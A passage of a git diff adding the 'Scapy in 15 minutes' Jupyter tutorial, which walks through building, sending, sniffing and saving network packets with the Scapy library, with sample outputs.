c=window.document,d=\"CSS1Compat\"==c.compatMode?c.documentElement:c.body,a=d.clientWidth,b=d.clientHeight;a&&b&&(a!=google.cdo.width||b!=google.cdo.height)&&google.log(\"\",\"\",\"/client_204?&atyp=i&biw=\"+a+\"&bih=\"+b+\"&ei=\"+google.kEI);}).call(this);})();</script></body></html>"
+       ],
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 141,
+       "text": [
+        "<IPython.core.display.HTML at 0x7f26f59e9e10>"
+       ]
+      }
+     ],
+     "prompt_number": 141
+    }
+   ],
+   "metadata": {}
+  }
+ ]
+}
\ No newline at end of file
diff --git a/doc/notebooks/Scapy in 15 minutes.ipynb b/doc/notebooks/Scapy in 15 minutes.ipynb
new file mode 100644
index 0000000..49aed2a
--- /dev/null
+++ b/doc/notebooks/Scapy in 15 minutes.ipynb
@@ -0,0 +1,1372 @@
+{
+ "cells": [
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "# Scapy in 15 minutes (or longer)"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "##### Guillaume Valadon & Pierre Lalet"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "[Scapy](http://www.secdev.org/projects/scapy) is a powerful Python-based interactive packet manipulation program and library. It can be used to forge or decode packets for a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more.\n",
+    "\n",
+    "This iPython notebook provides a short tour of the main Scapy features. It assumes that you are familiar with networking terminology. All examples where built using the development version from [https://github.com/secdev/scapy](https://github.com/secdev/scapy), and tested on Linux. They should work as well on OS X, and other BSD.\n",
+    "\n",
+    "The current documentation is available on [http://scapy.readthedocs.io/](http://scapy.readthedocs.io/) !"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "Scapy eases network packets manipulation, and allows you to forge complicated packets to perform advanced tests. As a teaser, let's have a look a two examples that are difficult to express without Scapy:\n",
+    "\n",
+    "1_ Sending a TCP segment with maximum segment size set to 0 to a specific port is an interesting test to perform against embedded TCP stacks. It can be achieved with the following one-liner:"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 30,
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      "\n",
+      "Sent 1 packets.\n"
+     ]
+    }
+   ],
+   "source": [
+    "send(IP(dst=\"1.2.3.4\")/TCP(dport=502, options=[(\"MSS\", 0)]))"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "2_ Adanced firewalking using IP options is sometimes useful to perform network enumeration. Here is more complicate one-liner:"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 31,
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      "  -                            IPOption_RR                  IPOption_Traceroute          \n",
+      "1 192.168.42.1 time-exceeded 192.168.46.1 time-exceeded 192.168.46.1 time-exceeded \n",
+      "2 172.42.0.1 time-exceeded     172.42.0.1 time-exceeded     172.42.0.1 time-exceeded     \n",
+      "3 42.10.69.251 time-exceeded  42.10.69.251 time-exceeded  42.10.69.251 time-exceeded  \n",
+      "4 10.123.156.86 time-exceeded  10.123.156.86 time-exceeded  -                            \n",
+      "5 69.156.98.177 time-exceeded 69.156.98.177 time-exceeded -                            \n",
+      "6 69.156.137.74 time-exceeded 69.156.137.74 time-exceeded -                            \n",
+      "7 209.85.172.150 time-exceeded -                            -                            \n",
+      "8 216.239.57.203 time-exceeded -                            -                            \n"
+     ]
+    }
+   ],
+   "source": [
+    "ans = sr([IP(dst=\"8.8.8.8\", ttl=(1, 8), options=IPOption_RR())/ICMP(seq=RandShort()), IP(dst=\"8.8.8.8\", ttl=(1, 8), options=IPOption_Traceroute())/ICMP(seq=RandShort()), IP(dst=\"8.8.8.8\", ttl=(1, 8))/ICMP(seq=RandShort())], verbose=False, timeout=3)[0]\n",
+    "ans.make_table(lambda (x, y): (\", \".join(z.summary() for z in x[IP].options) or '-', x[IP].ttl, y.sprintf(\"%IP.src% %ICMP.type%\")))"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "#### Now that, we've got your attention, let's start the tutorial !"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "## Quick setup"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "The easiest way to try Scapy is to clone the github repository, then launch the `run_scapy` script as root. The following examples can be pasted on the Scapy prompt. There is no need to install any external Python modules."
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "```shell\n",
+    "git clone https://github.com/secdev/scapy --depth=1\n",
+    "sudo ./run_scapy\n",
+    "Welcome to Scapy (2.4.0)\n",
+    ">>>\n",
+    "```"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "Note: iPython users must import scapy as follows"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 13,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "from scapy.all import *"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "## First steps"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "With Scapy, each network layer is a Python class.\n",
+    "\n",
+    "The `'/'` operator is used to bind layers together. Let's put a TCP segment on top of IP and assign it to the `packet` variable, then stack it on top of Ethernet. "
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 2,
+   "metadata": {},
+   "outputs": [
+    {
+     "data": {
+      "text/plain": [
+       "<Ether  type=IPv4 |<IP  frag=0 proto=tcp |<TCP  |>>>"
+      ]
+     },
+     "execution_count": 2,
+     "metadata": {},
+     "output_type": "execute_result"
+    }
+   ],
+   "source": [
+    "packet = IP()/TCP()\n",
+    "Ether()/packet"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "This last output displays the packet summary. Here, Scapy automatically filled the Ethernet type as well as the IP protocol field.\n",
+    "\n",
+    "Protocol fields can be listed using the `ls()` function:"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "    >>> ls(IP, verbose=True)\n",
+    "    version    : BitField (4 bits)                   = (4)\n",
+    "    ihl        : BitField (4 bits)                   = (None)\n",
+    "    tos        : XByteField                          = (0)\n",
+    "    len        : ShortField                          = (None)\n",
+    "    id         : ShortField                          = (1)\n",
+    "    flags      : FlagsField (3 bits)                 = (0)\n",
+    "                   MF, DF, evil\n",
+    "    frag       : BitField (13 bits)                  = (0)\n",
+    "    ttl        : ByteField                           = (64)\n",
+    "    proto      : ByteEnumField                       = (0)\n",
+    "    chksum     : XShortField                         = (None)\n",
+    "    src        : SourceIPField (Emph)                = (None)\n",
+    "    dst        : DestIPField (Emph)                  = (None)\n",
+    "    options    : PacketListField                     = ([])"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "Let's create a new packet to a specific IP destination. With Scapy, each protocol field can be specified. As shown in the `ls()` output, the interesting field is `dst`.\n",
+    "\n",
+    "Scapy packets are objects with some useful methods, such as `summary()`."
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 3,
+   "metadata": {},
+   "outputs": [
+    {
+     "data": {
+      "text/plain": [
+       "\"Ether / IP / TCP 172.20.10.2:ftp_data > Net('www.secdev.org'):http S\""
+      ]
+     },
+     "execution_count": 3,
+     "metadata": {},
+     "output_type": "execute_result"
+    }
+   ],
+   "source": [
+    "p = Ether()/IP(dst=\"www.secdev.org\")/TCP()\n",
+    "p.summary()"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "There are not many differences with the previous example. However, Scapy used the specific destination to perform some magic tricks !\n",
+    "\n",
+    "Using internal mechanisms (such as DNS resolution, routing table and ARP resolution), Scapy has automatically set fields necessary to send the packet. This fields can of course be accessed and displayed."
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 10,
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      "3a:71:de:90:0b:64\n",
+      "172.20.10.2\n",
+      "b8:e8:56:45:8c:e6 > 3a:71:de:90:0b:64\n",
+      "172.20.10.2 > Net('www.secdev.org')\n"
+     ]
+    }
+   ],
+   "source": [
+    "print p.dst  # first layer that has an src field, here Ether\n",
+    "print p[IP].src  # explicitly access the src field of the IP layer\n",
+    "\n",
+    "# sprintf() is a useful method to display fields\n",
+    "print p.sprintf(\"%Ether.src% > %Ether.dst%\\n%IP.src% > %IP.dst%\")"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "Scapy uses default values that work most of the time. For example, `TCP()` is a SYN segment to port 80."
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 9,
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      "S http\n"
+     ]
+    }
+   ],
+   "source": [
+    "print p.sprintf(\"%TCP.flags% %TCP.dport%\")"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "Moreover, Scapy has implicit packets. For example, they are useful to make the TTL field value vary from 1 to 5 to mimic traceroute."
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 11,
+   "metadata": {},
+   "outputs": [
+    {
+     "data": {
+      "text/plain": [
+       "[<IP  frag=0 ttl=1 proto=icmp |<ICMP  |>>,\n",
+       " <IP  frag=0 ttl=2 proto=icmp |<ICMP  |>>,\n",
+       " <IP  frag=0 ttl=3 proto=icmp |<ICMP  |>>,\n",
+       " <IP  frag=0 ttl=4 proto=icmp |<ICMP  |>>,\n",
+       " <IP  frag=0 ttl=5 proto=icmp |<ICMP  |>>]"
+      ]
+     },
+     "execution_count": 11,
+     "metadata": {},
+     "output_type": "execute_result"
+    }
+   ],
+   "source": [
+    "[p for p in IP(ttl=(1,5))/ICMP()]"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "## Sending and receiving"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "Currently, you know how to build packets with Scapy. The next step is to send them over the network !\n",
+    "\n",
+    "The `sr1()` function sends a packet and return the corresponding answer. `srp1()` does the same for layer two packets, i.e. Ethernet. If you are only interested in sending packets `send()` is your friend.\n",
+    "\n",
+    "As an example, we can use the DNS protocol to get www.example.com IPv4 address."
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 23,
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      "\n",
+      "Received 19 packets, got 1 answers, remaining 0 packets\n",
+      "Begin emission:\n",
+      "Finished to send 1 packets.\n"
+     ]
+    },
+    {
+     "data": {
+      "text/plain": [
+       "<DNSRR  rrname='www.example.com.' type=A rclass=IN ttl=10011 rdata='93.184.216.34' |>"
+      ]
+     },
+     "execution_count": 23,
+     "metadata": {},
+     "output_type": "execute_result"
+    }
+   ],
+   "source": [
+    "sr1(IP(dst=\"8.8.8.8\")/UDP()/DNS(qd=DNSQR()))\n",
+    "p[DNS].an"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "Another alternative is the `sr()` function. Like `srp1()`, the `sr1()` function can be used for layer 2 packets."
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 47,
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      "\n",
+      "Received 7 packets, got 6 answers, remaining 0 packets\n",
+      "Begin emission:\n",
+      "Finished to send 6 packets.\n"
+     ]
+    },
+    {
+     "data": {
+      "text/plain": [
+       "(<Results: TCP:0 UDP:0 ICMP:6 Other:0>,\n",
+       " <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)"
+      ]
+     },
+     "execution_count": 47,
+     "metadata": {},
+     "output_type": "execute_result"
+    }
+   ],
+   "source": [
+    "r, u = srp(Ether()/IP(dst=\"8.8.8.8\", ttl=(5,10))/UDP()/DNS(rd=1, qd=DNSQR(qname=\"www.example.com\")))\n",
+    "r, u"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "`sr()` sent a list of packets, and returns two variables, here `r` and `u`, where:\n",
+    "1. `r` is a list of results (i.e tuples of the packet sent and its answer)\n",
+    "2. `u` is a list of unanswered packets"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 48,
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      "Ether / IP / UDP / DNS Qry \"www.example.com\" \n",
+      "Ether / IP / ICMP / IPerror / UDPerror / DNS Qry \"www.example.com.\" \n"
+     ]
+    },
+    {
+     "data": {
+      "text/plain": [
+       "<ICMP  type=time-exceeded code=ttl-zero-during-transit chksum=0x50d6 reserved=0 length=0 unused=None |<IPerror  version=4L ihl=5L tos=0x0 len=61 id=1 flags= frag=0L ttl=1 proto=udp chksum=0xf389 src=172.20.10.2 dst=8.8.8.8 options=[] |<UDPerror  sport=domain dport=domain len=41 chksum=0x593a |<DNS  id=0 qr=0L opcode=QUERY aa=0L tc=0L rd=1L ra=0L z=0L ad=0L cd=0L rcode=ok qdcount=1 ancount=0 nscount=0 arcount=0 qd=<DNSQR  qname='www.example.com.' qtype=A qclass=IN |> an=None ns=None ar=None |>>>>"
+      ]
+     },
+     "execution_count": 48,
+     "metadata": {},
+     "output_type": "execute_result"
+    }
+   ],
+   "source": [
+    "# Access the first tuple\n",
+    "print r[0][0].summary()  # the packet sent\n",
+    "print r[0][1].summary()  # the answer received\n",
+    "\n",
+    "# Access the ICMP layer. Scapy received a time-exceeded error message\n",
+    "r[0][1][ICMP]"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "With Scapy, list of packets, such as `r` or `u`, can be easily written to, or read from PCAP files."
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 50,
+   "metadata": {},
+   "outputs": [
+    {
+     "data": {
+      "text/plain": [
+       "<Ether  dst=f4:ce:46:a9:e0:4b src=34:95:db:04:3c:29 type=IPv4 |<IP version=4L ihl=5L tos=0x0 len=61 id=1 flags= frag=0L ttl=5 proto=udp chksum=0xb6e3 src=192.168.46.20 dst=8.8.8.8 options=[] |<UDP sport=domain dport=domain len=41 chksum=0xb609 |<DNS  id=0 qr=0L opcode=QUERY aa=0L tc=0L rd=1L ra=0L z=0L ad=0L cd=0L rcode=ok qdcount=1 ancount=0 nscount=0 arcount=0 qd=<DNSQR  qname='www.example.com.' qtype=A qclass=IN |> an=None ns=None ar=None |>>>>"
+      ]
+     },
+     "execution_count": 50,
+     "metadata": {},
+     "output_type": "execute_result"
+    }
+   ],
+   "source": [
+    "wrpcap(\"scapy.pcap\", r)\n",
+    "\n",
+    "pcap_p = rdpcap(\"scapy.pcap\")\n",
+    "pcap_p[0]"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "Sniffing the network is a straightforward as sending and receiving packets. The `sniff()` function returns a list of Scapy packets, that can be manipulated as previously described."
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 52,
+   "metadata": {},
+   "outputs": [
+    {
+     "data": {
+      "text/plain": [
+       "<Sniffed: TCP:0 UDP:2 ICMP:0 Other:0>"
+      ]
+     },
+     "execution_count": 52,
+     "metadata": {},
+     "output_type": "execute_result"
+    }
+   ],
+   "source": [
+    "s = sniff(count=2)\n",
+    "s"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "`sniff()` has many arguments. The `prn` one accepts a function name that will be called on received packets. Using the `lambda` keyword, Scapy could be used to mimic the `tshark` command behavior."
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 53,
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      "Ether / IP / TCP 172.20.10.2:52664 > 216.58.208.200:https A\n",
+      "Ether / IP / TCP 216.58.208.200:https > 172.20.10.2:52664 A\n"
+     ]
+    },
+    {
+     "data": {
+      "text/plain": [
+       "<Sniffed: TCP:2 UDP:0 ICMP:0 Other:0>"
+      ]
+     },
+     "execution_count": 53,
+     "metadata": {},
+     "output_type": "execute_result"
+    }
+   ],
+   "source": [
+    "sniff(count=2, prn=lambda p: p.summary())"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "Alternatively, Scapy can use OS sockets to send and receive packets. The following example assigns an UDP socket to a Scapy `StreamSocket`, which is then used to query www.example.com IPv4 address.\n",
+    "Unlike other Scapy sockets, `StreamSockets` do not require root privileges."
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 79,
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      "\n",
+      "Received 1 packets, got 1 answers, remaining 0 packets\n",
+      "Begin emission:\n",
+      "Finished to send 1 packets.\n"
+     ]
+    },
+    {
+     "data": {
+      "text/plain": [
+       "<DNS  id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L ad=0L cd=0L rcode=ok qdcount=1 ancount=1 nscount=0 arcount=0 qd=<DNSQR  qname='www.example.com.' qtype=A qclass=IN |> an=<DNSRR  rrname='www.example.com.' type=A rclass=IN ttl=19681 rdata='93.184.216.34' |> ns=None ar=None |>"
+      ]
+     },
+     "execution_count": 79,
+     "metadata": {},
+     "output_type": "execute_result"
+    }
+   ],
+   "source": [
+    "import socket\n",
+    "\n",
+    "sck = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  # create an UDP socket\n",
+    "sck.connect((\"8.8.8.8\", 53))  # connect to 8.8.8.8 on 53/UDP\n",
+    "\n",
+    "# Create the StreamSocket and gives the class used to decode the answer\n",
+    "ssck = StreamSocket(sck)\n",
+    "ssck.basecls = DNS\n",
+    "\n",
+    "# Send the DNS query\n",
+    "ssck.sr1(DNS(rd=1, qd=DNSQR(qname=\"www.example.com\")))"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "## Visualization\n",
+    "Parts of the following examples require the [matplotlib](http://matplotlib.org/) module."
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "With `srloop()`, we can send 100 ICMP packets to 8.8.8.8 and 8.8.4.4."
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 25,
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": []
+    }
+   ],
+   "source": [
+    "ans, unans = srloop(IP(dst=[\"8.8.8.8\", \"8.8.4.4\"])/ICMP(), inter=.1, timeout=.1, count=100, verbose=False)"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "Then we can use the results to plot the IP id values."
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 26,
+   "metadata": {},
+   "outputs": [
+    {
+     "data": {
+      "image/png": "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